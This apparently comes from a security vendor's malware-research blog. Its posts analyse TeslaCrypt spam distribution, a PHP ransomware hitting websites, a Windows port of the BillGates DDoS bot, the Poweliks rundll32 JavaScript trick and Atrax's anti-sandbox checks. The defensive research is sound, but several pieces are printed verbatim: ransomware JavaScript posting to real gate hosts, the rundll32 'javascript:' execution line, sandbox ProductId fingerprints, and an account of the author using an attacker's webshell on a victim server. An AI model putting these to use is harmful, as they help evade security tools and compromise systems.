Let’s ride with TeslaCrypt

As you can see, we have been working on ransomware over the past few days. This time, we are talking about TeslaCrypt.
TeslaCrypt is a ransomware spread by e-mails or exploit kits. It encrypts your files and asks you to pay in order to retrieve the decryption key. The current version is 3.0. Many analysis are already available on the Internet.
In this article we are focusing on two aspects of TeslaCrypt:
– The attack vector
– The web callback

Attack Vector – Bombila

Early in February 2016, Xylitol added an unknown panel on cybercrime-tracker.
After some research, we have found a binary file hosted on the server at the following address: hxxp://
This binary file is a bot which sends spam. It uses a list of compromised SMTP servers contained in the file hxxp://
This file (781 MB) contains around 4000 compromised SMTP accounts (Orange, SFR, Telefonica, Yahoo, Gmail, etc.).
After that, the binary file retrieves a list of e-mails from hxxp://*****.txt.
Directory listing was enabled on this directory, so we could find 139 text files for 792 256 e-mails.
The spam bot also retrieves some texts for crafted e-mails via several files in hXXp:// For example, some fake names: https://pastebin.com/3Xnn7krB and random text like:
Finally, the bot retrieves malicious attachments from the directory hXXp://*****.zip. 200 zip files are waiting in this directory.
These Zip files contain malicious JavaScript droppers, each one dropping the TeslaCrypt ransomware.
Everyone has seen this type of attachment for the last few months in their mailbox.
Here is an example of these malicious droppers: https://www.virustotal.com/en/file/5acfac853e4ad0280be2bd44e4afb79d16cc7f5b4fd6ef45dde0007104f92c42/analysis/ https://pastebin.com/0jzGQdYe
This JS drops Malicious (TeslaCrypt) binary file from:
These servers are known for spreading the TeslaCrypt ransomware: https://www.virustotal.com/en/domain/sowhatsupwithitff.com/information/
When spamming, the binary file writes a lot of logs on the infected machine, such as:
And now let’s go to the funny part. After some guessing, we found an archive at hxxp:// This zip file (size: 468 MB compressed, 2 GB decompressed) is a full backup of the server. It contains all the files of this spamming server: source code, logs, payloads, etc. 5
For example, the source code of the spammer bot callback: https://pastebin.com/b9VWb5bk or index.php: https://pastebin.com/Tkh3UGfE.
This archive contains also 45 millions of e-mails in different text files.
This overview allows us to have a better understanding of how TeslaCrypt ransomware is spread. We can suppose that crooks carrying spam campaigns are different than the ones which manage the ransomware.
I would like to thank the CERT Orange for their work and MalwareMustDie for their support.

TeslaCrypt – Web callback

Now, let’s talk about a not really documented part of the ransomware: the callback web.
When a machine is infected by TeslaCrypt, the malware sends some data to a web callback on a compromised server. For example:
(thanks to @techhelplist https://www.virustotal.com/en/user/techhelplist/ )
This callback is just a gateway to the real C&C hosted in TOR.
The source code of such a callback is available at: https://pastebin.com/d7CvSpF0
Firstly, the page kicks IP from Microsoft:
After that, the callback creates a file most.txt and logs all data received from infected machines in this file.
This file looks like:
These data are also sent to three TOR callbacks:


In the TeslaCrypt web kit, we can see another file named « cron.php » (source code available at: https://pastebin.com/LmtPT24L )
The code compares three variables $_REQUEST[‘password’], $_REQUEST[‘re_password’] and $_REQUEST[login’]. The aim of this code is still unclear.
This information is perfect to follow the infection rate of TeslaCrypt. After grabbing most.txt file from different callback, we were able to do some statistics on a little part of this campaign:
– We retrieved 30 210 data raw:
– 15 290 unique IP addresses (due to NAT, one IP address can return several infected machine)
– 40 TOR exit node : )
We can see that the most affected countries are Republic of Korea and Turkey. The whole statistics are available at https://pastebin.com/rpguyaZm.


We looked at another face of the TeslaCrypt infection: the attack vector and the web part. Both were interesting to analyse.
These data are always interesting for estimating the infection rate of a campaign. The logged files show us that the infection rate is quite high, ransomware is definitely a lucrative business.
The web part of ransomware is often forgotten; with different articles we will try to better understand the whole picture.


A lockpicking exercise

A malware calling itself « CTB-locker » is spreading over some websites since the 12th of February 2016. This campaign is different to classical ransomware attacks that focus only on workstations, at first sight, CTB-locker seems also to focus on websites in order to encrypt all files located in the server.
I found this campaign by accident. During an investigation, I retrieved a malicious binary file from hXXp://www.klingenberg.it/IMG0503405025-JPG.scr. In order to understand the context, I visited the homepage of this server and landed to this rather scary page:
The ‘Decrypt’ button browses to a page offering to decrypt two of the lost files for free:
If the website administrator worries, a chat with the crooks is even possible!
I was not aware that CTB-Locker was also attacking websites?! It was time for further investigation.
With the help of some search engines, I was able to found a lot of websites with the same homepage:
It seems that an attack was ongoing. To help, you can find a list of these websites on Pastebin: http://pastebin.com/UyXFSL3M
Quickly I was able to found 102 websites infected by this « CTB-Locker ».
Javascipt explains something interesting in their homepage (index.php):

admins = ["http://erdeni.ru/access.php", "http://studiogreystar.com/access.php", "http://a1hose.com/access.php"];
iadmin = 0;
domain = encodeURIComponent(window.location.href.replace('http://', '').replace('https://', '').split('/')[0]);
function post_admin(postdata, onsuccess) {
$.post(admins[iadmin], postdata+"domain="+domain, function (data) {

$(‘#decrypt’).click(function() {
post_admin(“decrypt=”, function(data) {

$('#dectest').click(function() {
post_admin("dectest=secret="+($("#secret").val()), function(data) {

$('#sendmsg').click(function() {
msg = "msg=" + encodeURIComponent($("#chatmsg").val());
post_admin("sendmsg=secret="+$("#secret").val()+msg, function(data) {

$('#recvmsg').click(function() {
post_admin("recvmsg=secret="+$("#secret").val(), function(data) {

As we can see, POST requests are sent to other second-level servers, that we will call “gates”, in order to decrypt the files:
admins = ["http://erdeni.ru/access.php", "http://studiogreystar.com/access.php", "http://a1hose.com/access.php"];

I compiled a list of gate servers from the infected websites on Pastebin as well: http://pastebin.com/E9NcvL4v
Even if it is not confirmed, we can suppose that this ransomware works in this way:
So, it’s time for my favorite game: finding a sample.
The original victim server, klingenberg.it, seems to be a good starting point: this server should be full of vulnerabilities because it hosts malware like CTB-Locker ransomware.
After some research, I found an unprotected webshell already running on the server:
Thanks to this webshell, it is really easy to grab the files related to CTB-Locker. And now I’m sure: this ransomware uses only PHP scripts.
First, let’s have a look at the root index.php file (available at http://pastebin.com/vdBrtrt3 ).
This ransomware is composed of several files:
A directory named « Crypt » containing a bunch of self-explanatory PHP scripts:
– AES.php
– Base.php
– BigInteger.php
– Hash.php
– Random.php
– Rijndael.php
Along with the index.php main page, other files are relevant to this ransomware: allenc.txt, test.txt, victims.txt, extensions.txt, temp, robots.txt and secret_XXXXX.txt.

The encryption process starts when a malicious user generates a specially-crafted POST request to the index.php page:
encrypt_files($victims, $_POST['submit'], $_POST['submit2']);.
Function enc_excluded in index.php is used to exclude the previously core ransomware files (just to be sure the malware will not encrypt itself!).
The list of files to encrypt is computed in the function get_files. Directories are recursively crawled and the list of files to encrypt (in AES-256) is written in the file named victims.txt.
The files are chosen based on their extension. The list of extensions to keep is contained in the file extensions.txt:
This list of files is then sent to the function encrypt_files. This function selects two files in this list and writes them to test.txt.
These two files are encrypted by a first key (“submit” variable in the POST request) and can be decrypted for free using the feature “We give you the opportunity to decipher 2 files free!”.
The other files are encrypted with another key (“submit2” variable in the POST request) and this list is written in the file allenc.txt.
In order to uniquely identify the infected server, the ransomware uses a unique secret computed as characters 2 to 10 of the MD5 hash of the strings : “djf33”+the hostname (ex: md5(djf33www. klingenberg.it))

$secret = substr(md5("djf33".cur_domain), 2, 10);

When the user clicks on the button « Decrypt », a request is sent to the gate servers:

admins = ["http://erdeni.ru/access.php", "http://studiogreystar.com/access.php", "http://a1hose.com/access.php"]; via la variable decrypt=

If the user has correctly paid, a popup appears with the contents:
« Your decryption key is XXXXXX » and index.php is reloaded with the correct POST parameters:

window.location.href = url + 'decrypt=' + data["decrypt"] + '&secret=' + data["secret"] + '&dectest=' + data["dectest"];

Loading this page with these parameters decrypts the files.
Servers hosting the access.php page are in fact compromised servers. So, if I want to reach the C&C server, I need to have a look at the code of access.php .
I managed to get a hand on an access.php file whose content is available at http://pastebin.com/6WX3JWXg
The C&C address is hard-coded in this page:
$result = socket_connect($sock, "", 9338);
A socket is opened and waits for some commands such as:
– “Vic” for decrypting
– “Snd” / “Rcv” for chat feature

I don’t have the code yet behind the socket on, but even if I found it, I’ll not release it on the Internet :).

The last question to answer is how the victim websites were infected. I don’t have a clear answer to this question, here are just some elements describing these servers.
Based on the fact that a lot of victims do not have a dynamic website or a CMS, it is difficult to say if the malware uses a well-known vulnerability.
The infected hosts run both Linux and Windows and the majority of them (73%) host an Exim service (SMTP server).
Most of them run a password-protected webshell accessible through the “logout.php” dynamic page.
Some of them are vulnerable to shellshock, but without a deep access on victims’ servers, it is difficult to understand how this ransomware infected hosts.

Like every week for six months, a new ransomware family popped up. This time, servers are targeted and use simple PHP technology to perform their malicious activities.

I would like to thanks nl3dee who helped me retrieving the source code of access.php.
All the source code is available at kernelmode.info

When ELF.BillGates met Windows

If you are used to play with honeypots, you have inevitably met the ELF.BillGates malware. It is a known[1] botnet spread over Internet for 4 years.

In a nutshell, ELF.BillGates is a (Chinese) DDOS botnet with backdooring features. It is a binary file with many behaviors depending on the installation path[2]:

  • Gate 0: Infection Monitor (dropper + persistence)
  • Gate 1: Host (Contact C&C + DDOS features)
  • Gate 2: Backdooring
  • Gate 3: Utility spoofing

The “Elf.BillGates” version targets Linux operating system. We have followed the activities of this botnet for several months and during our investigations we found some versions of a Windows fork of the malware. This article attempts to detail this variant.

The primary infection vector is the exploit of the vulnerability CVE-2014-6332[3], which drops the binary file hosted on an HTTPd File Server (HFS)[4]. This vulnerability allows an attacker to escape the Internet Explorer sandbox with a VBScript script and execute an arbitrary binary file downloaded from the Internet.



Figure 1 – Example of compromised HFS server

First and foremost, we noticed that this malware seems to be currently in development. The author seems to make tests in the wild, and several samples are unstable.

In a few weeks, we collected about thirty samples, and we identified 2 different versions of the malware:

    • A version almost working on Windows XP but unstable on more recent operating systems.
    • A very unstable version based on Safeengine protector (a packer against reverse engineering)[5].

Both versions reference the same symbol path:

重构 can be translated by builder.

This article analyzes a sample of the first family named 36000.exe (sha1: 4b14d7aca890642c3e269b75953e65cb)

GatesInstall – Gate 0 – Infection monitor

PDB: F:\\Updates\\重构\\GatesInstall\\Release\\GatesInstall.pdb

This is the installation part of the malware, that will drop the different files in the system, and create persistence.

This sample in not obfuscated, but we have met some UPX packed samples.

This binary file embeds seven executable resources.


Figure 2 – PEStudio view of the binary


As we can infer from the PDB path, this binary file is the installer of Win32.BillGates malware.

On its first execution, it checks if the system is not already infected by trying to kill BillGates instance with the system tool taskkill.exe :
Taskkill /F /IM DbSecuritySpt.exe
Taskkill /F /IM Bil.exe
Taskkill /F /IM svch0st.exe
Taskkill /F /IM DNSClient.exe
Taskkill /F /IM DNSProtection.exe

/F is for killing process, /IM is the image name.

After this check, the malware checks the OS version with GetOsVersionExA and fills a global variable with the following value. It is supposed to support all versions of Windows:

Windows Server 2008 R2
Windows Server 2008
Windows 7
Windows Vista
Windows Server 2003
Windows XP
Windows 2000
Windows NT
Windows 32s
Windows Unknown

After that, it checks if it runs on a 32 or a 64-bit OS with the help of the GetSystemWow64DirectoryA API.

Happy to play with an old Windows installation, I tried to launch the installer on Windows 2000 but I was disappointed: GetSystemWow64DirectoryA is only available starting from Windows XP, so the process does not start due to this unresolved reference:


Figure 3- Error: Unable to find entry point of GetSystemWow64DirectoryA Proc on kernel32.dll

The detection of OS older than Windows XP is then pretty useless.

After that check, the malware installation depends on the version of the OS.

On Windows 2003 / XP, the following files are created:

C:\Program Files\DbSecuritySpt\DbSecuritySpt.exe (resource 107 or 108)
C:\Program Files\DbSecuritySpt\svch0st.exe (resource 104)
C:\Program Files\Windows Media Player\agony.exe ( resource 103)
C:\Program Files\Windows Media Player\agony.sys (resource 102)
C:\Program Files\Windows Media Player\DNSProtection.exe (resource 107 or 108)
C:\Program Files\Windows Media Player\DNSSupport.exe (resource 107 or 108)

On Windows 2008 Server, two additional files are created:

C:\Program Files\DbSecuritySpt\NPF.sys (resource 105)
C:\Program Files\DbSecuritySpt\packet.dll (resource 106)

DbSecuritySpt.exe, DNSSupport.exe and DNSProtection.exe have the same contents. On the 32-bit edition of the OS, resource 107 is used whereas resource 108 is used on the 64-bit variant of the OS.

After several tests, Win32.Billgates is only able to start on Windows XP. On newer versions of Windows, the installer simply crashes. This crash seems to be related to ASLR. In fact, when the code attempts to retrieve the security cookie in functions handling buffers, it references a hard-coded address as if the binary file was loaded at a fixed address. This generates an access violation.

afterviolation1 afterviolation2

The rest of this article details the analysis of the malware on Windows XP.

Once the binary files are written to disk, GateInstall launches DbSecuritySpt.exe and DNSSupport.exe as services. Creating services requires administrator privileges. In most cases, attackers gain administrator privileges by brute forcing administrator RDP account on Windows Server 2003 computers.

That’s all for the installer.


GateInstall writes the same binary file in 3 locations:

C:\Program Files\DbSecuritySpt\DbSecuritySpt.exe (resources 107 or 108)
C:\Program Files\Windows Media Player\DNSProtection.exe (resources 107 or 108)
C:\Program Files\Windows Media Player\DNSSupport.exe (resources 107 or 108)

PDB: F:\\Updates\\重构\\GatesInstall\\Release\\Gates.pdb

Gates starts by an identification routine:

      • Decryption of its configuration
      • Check of the file path and if it is launched as a service.

The configuration is encrypted with a hard-coded RSA 1024 key:


Once decrypted, the configuration data is organized in the same way as the ELF version[6]:


In the Windows version, Prime C, D and modulus N offset are hard-coded, meaningless and not used.

In this sample we noticed an empty campaign name, but other analyzed samples were linked? to a named campaign:

The Windows binary file also contains some clear strings that allow us to say it is a variant of the ELF version:


DbSecuritySpt – Gate 1 – Host

Launched as a service, DbSecuritySpt is the main persistent binary file that is run. To get into DbSecuritySpt behavior, the binary file must be launched as a service from C:\Program Files\DbSecuritySpt\DbSecuritySpt.exe.

DbSecuritySpt launches several threads in charge of fingerprinting the computer, communicating with the C&C infrastructure and performing DDos actions.

The following data is sent to the C&C:

DbSecuritySpt – Gate 1 – Host


This service is also in charge of taking part of DDoS campaigns.

DbSecuritySpt is supposed to support several DDoS types: ICMP, SYN UPD and DNS amplification.

The binary file contains a list of 230 hardcoded IP addresses that correspond to DNS servers used for DNS amplification attacks[7].


We tested these DNS servers. Only 58 IP addresses seem to be still vulnerable. The other servers were either patched or unreachable.

svch0st – Gate 2 – Backdoor

PDB: E:\SVN\trunk\2014\小陈\重构\IECtrl\Release\IECtrl.pdb

小陈 can be translated as Chen and重构 as builder.

At last, GateInstall drops the binary file C:\Program Files\DbSecuritySpt\svch0st.exe.

The original name of this file is IECtrl.exe. IECtrl is an independent tool also used by other malwares (such as Win32:Wapomi-B https://www.virustotal.com/fr/file/4d7d9a80973b61f5fecdfdcd2e050ed9bc9541ad82ff68c864d851632ca16a77/analysis/ )

It implements the backdoor functionalities of Win32.BillGates. This tool is identified by Microsoft as « Trojan:Win32/WebToos.B ».

DbSecuritySpt.exe passes a list of C&C server URLs as a parameter to IECtrl. IECtrl contains the logic to download, extract and execute payload from these URLs.

DNSSupport – Gate 3 – Spoofing utility

DNSSupport must be run as a service from the location C:\Program Files\Windows Media Player\DNSSupport.exe. Its behavior is simple: it is in charge of launching DNSProtection.exe and leaves the process in an infinite loop preventing the service from being stopped.

Spoofing utility


DNSProtection is a “spoofing utility” Gate. It is not functional in the analyzed sample. However, static analysis of the binary file allows drawing some conclusions about its internal behavior.

DNSProtection is used for hiding infection traces. It uses the rootkit Agony. Agony is composed of an executable (agony.exe) that loads and runs a driver (agony.sys). This rootkit was released in the wild some years ago. It is used for hiding files, services and network connections. This malware uses DNSProtection for hiding all dropped files (DNSSupport.exe, DNSProtection.exe, DbSecuritySpt.exe, agony.sys, agony.exe and svch0st.exe) and the connections to the C&C servers.


Agony.sys cannot be loaded on a 64-bit version of the operating system as it is not signed.


Win32.BillGates developers seem not to be used to develop malwares for the Windows operating system. They use poor techniques that can easily be detected by anti-virus software, and the limitations in terms of operating system compatibility could be easily avoided. This Windows port should not be a big threat as the ELF version is.

ELF structure compared with Windows version:

      • GateInstall : Gate 0
      • DbSecuritySpt : Gate 1
      • Svch0st : Gate 2
      • DNSSupport / DNSProtection : Gate 3


During our analysis, we noticed some samples with strange behaviors (hooking, binary file infection, IRC connections …). After further analysis it appears that some samples were infected by Win32.Virut and Win32.parite viruses. Virut and Parite are viruses that infect ‘.exe’ and ‘.scr’ Windows binary files on disk. It is possible that the crooks using BillGates malware are working on infected systems.

This may also explain why a lot of Win32.Parite cleaning tools were discovered on several malicious working BillGates C&C servers we visited. J

Here is a screenshot of such a tool:


About 30% of analyzed samples were infected by Win32.Parite and 20% by win32.Virut.



Some Win32.BillGates hashes:


Win32.BillGates infected by Win32.Virut:


Win32.BillGates infected by Win32.Parite:



      • Created files :
        • C:\Program Files\DbSecuritySpt\DbSecuritySpt.exe
        • C:\Program Files\DbSecuritySpt\svch0st.exe
        • C:\Program Files\Windows Media Player\agony.exe
        • C:\Program Files\Windows Media Player\agony.sys
        • C:\Program Files\Windows Media Player\DNSProtection.exe
        • C:\Program Files\Windows Media Player\DNSSupport.exe
        • C:\Program Files\DbSecuritySpt\NPF.sys
        • C:\Program Files\DbSecuritySpt\packet.dll
      • Created services:
        • DbSecuritySpt
        • DNSSupport
      • Running processes:
        • DbSecuritySpt
        • DNSSupport
        • DNSProtection
        • exe

[1] https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf

[2] http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf

[3] https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6332

[4] http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html

[5] http://www.safengine.com/en-us 

[6] http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf

[7] https://blog.cloudflare.com/deep-inside-a-dns-amplification-ddos-attack/

Related works:

MalwareMustDie : http://blog.malwaremustdie.org/2014/11/china-elf-botnet-malware-infection.html

Avast: https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf

Novetta: http://www.novetta.com/wp-content/uploads/2015/06/NTRG_ElasticBotnetReport_06102015.pdf

habrahabr.ru: http://habrahabr.ru/post/213973/

Poweliks – Command Line Confusion

Recently, hFireF0X provided a detailed walkthrough on the reverse engineering forum kernelmode.info about Win32/Poweliks malware. The particularity of this malware is that it resides in the Windows registry and uses rundll32.exe to execute JavaScript code.

I found it funny that we can execute some JavaScript through Rundll32 and obviously I was not the only one.

Capture d’écran 2014-08-20 à 15.57.26

When we first saw the command line executing JavaScript, we were wondering how it worked.

In this blog post, we analyze how and why JavaScript is executed when calling this simple command line:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert(‘foo’);

Reminder about Rundll32

Rundll32 usage is documented on MSDN; it is used to call an exported function of a DLL file which can be achieved with the following command line:

RUNDLL32.EXE <dllname>,<entrypoint> <optional arguments>

entrypoint is the exported function; its prototype must be:

void CALLBACK EntryPoint(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);

The lpszCmdLine parameter is given the <optional arguments> value specified on the rundll32 command line.

We will try to figure out how Rundll32 is able to call the function RunHTMLApplication exported by the library mshtml.dll and how the “javascript:” prefix is used to execute actual JavaScript code.

Analysis of Rundll32


One of the first things done by Rundll32 is to parse the command line in the internal function ParseCommand. This function searches for a comma (‘,’, 0x2C) to locate the DLL name and for a space (‘ ‘, 0x20) to locate the entrypoint name.

Capture d’écran 2014-08-20 à 16.00.23

When using our sample command line, ParseCommand returns javascript:"\..\mshtml as the DLL name and RunHTMLApplication as the entrypoint. In this context, the space after RunHTMLApplication delimits the ‘optional arguments’ part of the rundll32 command line:

Capture d’écran 2014-08-20 à 16.01.37

Dll loader

Rundll32 will perform several tries to load the actual DLL from the initial specification javascript:"\..\mshtml.

The first test uses the function GetFileAttributes(“javascript:”\..\mshtml”). This function eventually accesses C:\Windows\system32\mshtml. As this file is not found, the function returns -1.

Capture d’écran 2014-08-20 à 16.04.07

SearchPath is then invoked to resolve the DLL name. This function reads the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SafeProcessSearchMode. The Microsoft definition of this key is:

When the value of this REG_DWORD registry value is set to 1, SearchPath first searches the folders that are specified in the system path, and then searches the current working folder. When the value of this registry value is set to 0, the computer first searches the current working folder, and then searches the folders that are specified in the system path. The system default value for this registry key is 0.

By default this registry key doesn’t exist (on Windows XP / 7 / 8) so SearchPath tries to load the file mshtml in the current directory of rundll32 (c:\windows\system32) prior to trying locating it in the system path.

Capture d’écran 2014-08-20 à 16.05.45

All these attempts fail and rundll32 moves to the next step. GetFileAttributes is called again searching for the manifest for the module: javascript:”\..\mshtml.manifest

Capture d’écran 2014-08-20 à 16.07.09 Since all the previous steps failed, Rundll32 eventually calls LoadLibrary("javascript:"\..\mshtml").

LoadLibrary is just a thin wrapper around LdrLoadDll located in ntdll.dll. Internally, LdrLoadDll adds the default extension .dll and parses the resulting string javascript:”\..\mshtml.dll as a path. The token .. instructs to go one folder up: it resolves to mshtml.dll (think of foo\..\mshtml.dll resolved as mshtml.dll).

With mshtml.dll specification, LdrLoadDll is able to load the library in the system directory.

Capture d’écran 2014-08-20 à 16.09.02 Rundll32 then calls GetProcAddress with the previously extracted entry point name RunHTMLApplication.

For the moment, the javascript: prefix seems pretty useless: LoadLibrary("foobar:\"\..\mshtml") works fine. So, why prefixing with javascript:?

Protocols Handler

Once the entry point address has been resolved, Rundll32 calls the function mshtml.dll!RunHTMLApplication.

Even if not documented, the actual RunHTMLApplication can be inferred from the call made by c:\windows\system32\mshta.exe (the application dedicated to launch an .hta file):

HRESULT RunHTMLApplication(
LPSTR szCmdLine,
int nCmdShow

This is not far from the function prototype expected for a rundll32 entry point:

void CALLBACK EntryPoint(
HWND hwnd,
LPSTR lpszCmdLine,
int nCmdShow

RunHTMLApplication receives a handle to a window instead of a handle to a module as the first parameter. This parameter is used when mshml registers for a window class and creates a window of this new class. Passing a value not corresponding to an actual instance doesn’t seem to disturb user32 very much…

The second parameter is not used at all, so the mismatch is not important.

The last parameter, nCmdShow, is used by the RunHTMLApplication function to display the window hosting the HTML application. Rundll32 always calls the entry point function with the value SW_SHOWDEFAULT to instruct any potential opened window to use window default placement.

The main parameter of interest would be lpszCmdLine (";alert('foo')) in our case.

Capture d’écran 2014-08-20 à 16.16.36

This obviously leads to an issue since this is not a valid JavaScript statement (please note the missing double-quote at the end of the statement). But it works anyway, because RunHTMLApplication ignores the given parameter and prefers to request again the original command line from the GetCommandLine Windows API (wrapped in a call to the GetCmdLine function).

Capture d’écran 2014-08-20 à 16.20.09

The full command line contains the name of the executable and the parameters: GetCmdLine extracts the parameters by cleaning up the executable specification:

Capture d’écran 2014-08-20 à 16.23.29

After that, RunHTMLApplication calls CreateUrlMoniker:

Capture d’écran 2014-08-20 à 16.25.04

This is where the string « javascript: » is essential.

CreateUrlMoniker parses the command line to extract the string before the char “:” (0x3A): “javascript”.
Capture d’écran 2014-08-20 à 16.28.27

CreateUrlMoniker crawls the registry key HKCR\SOFTWARE\Classes\PROTOCOLS\Handler\. These keys refer to a set of protocols and their CLSID.

CreateUrlMoniker finds an appropriate protocol handler for the JavaScript protocol (HKCR\SOFTWARE\Classes\PROTOCOLS\Handler\javascript):

Capture d’écran 2014-08-20 à 16.29.55

The CLSID {3050F3B2-98B5-11CF-BB82-00AA00BDCE0B} matches « Microsoft HTML Javascript Pluggable Protocol ».

Capture d’écran 2014-08-20 à 16.31.51

It is for this reason that the string “javascript” is essential in the beginning of the parameters.

The same mechanism comes into play when one types javascript:alert(‘foo’); in the Internet Explorer navigation bar:

Capture d’écran 2014-08-20 à 16.34.18

The remaining of the string located after the ‘:’ separator is interpreted by the JavaScript URL moniker as JavaScript instructions:

"\..\mshtml,RunHTMLApplication ";alert(‘foo’);

This is a valid JavaScript with a string "\..\mshtml,RunHTMLApplication " (hence the double-quotes skipped in all the previous steps!) and a function (alert).

Finally RunHTMLApplication calls CHTMLApp::Run and the JavaScript is executed:

Capture d’écran 2014-08-20 à 16.35.36

Security point

From a security point of view, executing JavaScript through Rundll32 is like executing an HTML Application.

In other words, we can have all the power of Internet Explorer—its object model, performance, rendering power and protocol support—without enforcing the strict security model and user interface of the browser. Zone security is off, and cross-domain script access is allowed, we have read/write access to the files and system registry on the client machine.

With this trick, JavaScript is executed outside the Internet Explorer process and script is not subject to security concept like Protected Mode / Sandbox on Vista and superior.


RunHTMLApplication has the perfect prototype to work with Rundll32. Attackers have made great efforts to build a command line using the perfect syntax for passing through all the mechanisms (library loading, command line parsing, URL syntax correctness, valid JavaScript, etc.) leading to JavaScript execution in an uncontrolled environment.

From our understanding, this technique allows bypassing some security products that may trust actions performed by the built-in rundll32 while specifying the script to run without writing any file on the file system.

That’s all folks!


Atrax is a malware discovered during the summer of 2013. It includes some basic features like distributed denial-of-service, keylogging, the ability to steal banking credentials, to send spam or to install a Bitcoin miner for crafting bitcoin money. The particularity of Atrax is that it communicates with command and control server over TOR, which is a protocol that enables online anonymity. An ESET blog post has been made to give more information about this tor based botnet: http://www.welivesecurity.com/2013/07/24/the-rise-of-tor-based-botnets/.

Atrax’s specification highlight us about anti-analyzer technics:

- Anti-Analyzer (Protection against e.g. anubis.iseclab.org, malwr.com)
- If you need: Anti-VM (Please request it explicitly)
- Anti-Debug/Anti-Hook Engine

The sample we studied was seen in the wild in April 2014 and submitted to the VirusTotal web site (https://www.virustotal.com/en/file/adf246a57baecef5c8c85c60152e9b2f5060bf2e720ad1623cc95177e7259401/analysis/).

We choose to analyze the Atrax botnet in the process of our permanent security monitoring, in order to be sure that our best of breed HIPS engine is able to block new technics used by hackers. This article is not a full analysis of the malware, it chooses to focus on the capabilities to do not be detected or analyzed.

Sandbox detection

We started by looking at the anti-sandbox capability. To obtain a fast dynamic analysis of a potential malware, many online services provide sandbox capabilities to give you a deeper look of what the application is doing on the operating system: the principle is to start the malware execution in a virtual machine to trace its behavior. At the end of the timeout the service provides a report and sets the virtual machine to its initial state for the next analysis. In this way, we can quickly know if a binary file is malicious or not. Malwares now try to detect this kind of sandbox to be sure that people couldn’t analyze the behavior of the malware or that security solution couldn’t block it proactively.

To test the protection mechanism of Atrax, the sample was submitted to multiple online sandboxes:

  • Anubis http://anubis.iseclab.org/: when executing, the binary file crashes (STATUS_ACCESS_VIOLATION) preventing behavioral analysis. It is a normal behavior of Atrax when it detects online sandbox. The virtual machine was not infected.
  • Malwr http://malwr.com: the binary file runs normally, the virtual machine was infected.
  • JoeBox (CWSandbox / File-analyzer) http://file-analyzer.net/: The binary file runs normally, the virtual machine was infected.
  • Comodo http://camas.comodo.com: the binary file runs normally, the virtual machine was infected.

Except Anubis, it becomes clear that the detection of sandbox is not fully functional. This dysfunction is due to the method used for environment fingerprinting. Atrax simply looks for the ProductId of the operating system.

ProductId is a unique value of 20 digits which is derived from the product key and the hardware configuration. This key is just displayed to user for information. It can be used when you contact the Microsoft Support. This key is stored in the registry key located here: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId. You can display it by right-clicking My Computer and selecting Properties:

Capture d’écran 2014-08-20 à 14.37.28


Because it is unique, this key enables identifying the computer. However it is possible to alter this key without having any instability.

Atrax has an hardcoded list of ProductId keys:

-   1: 76487-640-1457236-23837
-   2: 76487-644-3177037-23510
-   3: 55274-640-2673064-23950
-   4: 76497-640-6308873-23835
-   5: 76487-640-1464517-23259

If it finds one these values, its means that the actual environment is an online sandbox and Atrax process exits with an access violation.

Capture d’écran 2014-08-20 à 14.39.33


In order to check the correspondence of these values, we developed a test program that display the ProductId value of the sandboxes available on Internet.

Some sandboxes report screenshots of the virtual machine, so it is easy to check the ProductId with a MessageBox. For sandboxes which do not report screenshot, the binary file creates a text file with the ProductId as filename.

long lResult =
RegOpenKeyEx(HKEY_LOCAL_MACHINE,L"Software\\Microsoft\\Windows NT\\CurrentVersion",0,KEY_QUERY_VALUE,&hkey );
if(ERROR_SUCCESS == lResult)
DWORD keytype;
TCHAR data[200];
DWORD bread=200;
lResult =

if(ERROR_SUCCESS == lResult)
// Key found
found = _tfopen(data, TEXT("w"));

With this trick, we have determined that the first key (76487-640-1457236-23837) is the ProductId of Anubis sandbox. This is why the execution inside this sandbox turns into STATUS_ACCESS_VIOLATION.

The second and third keys do not work due to updated sandboxes. These keys are some kind of signature that matches CWSandbox and JoeBox.

76487-644-3177037-23510: matches CWSandbox.

55274-640-2673064-23950: matches JoeBox.

CWSandbox and JoeBox now appear to be a single product: JoeSecurity is accessed through the URL http://file-analyzer.net/. JoeSecurity now automatically generates a new key for each run, making the two previously known keys obsolete. But strangely they are a recognizable pattern easy to detect. For example:

Windows XP:

Windows 7:

Funny fact, during our tests we have to submit several times our fingerprint executable to be sure that the ProductId is unique at each run. This apparently did not please JoeSecurity and our IP address was simply banned from the server.

The last two keys 76497-640-6308873-23835 and 76487-640-1464517-23259 are less common and seem to be related to old instances of Malwr sandbox. Today Malwr generates a unique key for each run with no identifiable pattern:


In addition, although it is not implemented into Atrax, it is possible to detect if an executable file has been uploaded to VirusTotal; the sandbox associated to the “Behavioral information” section has always the same ProductId: 76487-341-0620571-22546.

As we can see, this technique is not really efficient for multiple reasons. First, because it is easy to implement a mechanism to auto generate a ProductId for each run. We tried to edit the ProductId of Windows 7 and Windows Update was fully functional. Moreover, looking at this registry key can be detected as a malicious behavior. It is not common for an executable file to look for the ProductId of the operating system.

Security products detection

Atrax also checksif security productshaveinjectedcode in therunning process of the malware.

To do this check, it uses a well-documented technics:

  • It finds PEB (Process Environment Block address) (instruction mov eax, fs :0x30)
  • It looks for Ldr (LoaderData) in PEB (instruction mov ecx, [eax+0x0C])
  • It finds the InLoadOrderLinks list which contain all the module loaded by the running process (instruction mov edi, [ecx+0x0C])
  • It browses InLoadOrderLinks and compares it to some values.

Capture d’écran 2014-08-20 à 14.54.36


For more information about this method: http://phrack.org/issues/65/10.html,

Atrax looks for the following loaded binary files to detect if a security product monitors the current application:

This technique is limited to a few security products but does not prevent detection by antivirus.

Anti Debug

Atrax uses 3 different technics to check the presence of a debugger.


The first way to do it involves using the ZwSetInformationThread function.

IN HANDLE ThreadHandle,
IN THREADINFOCLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength

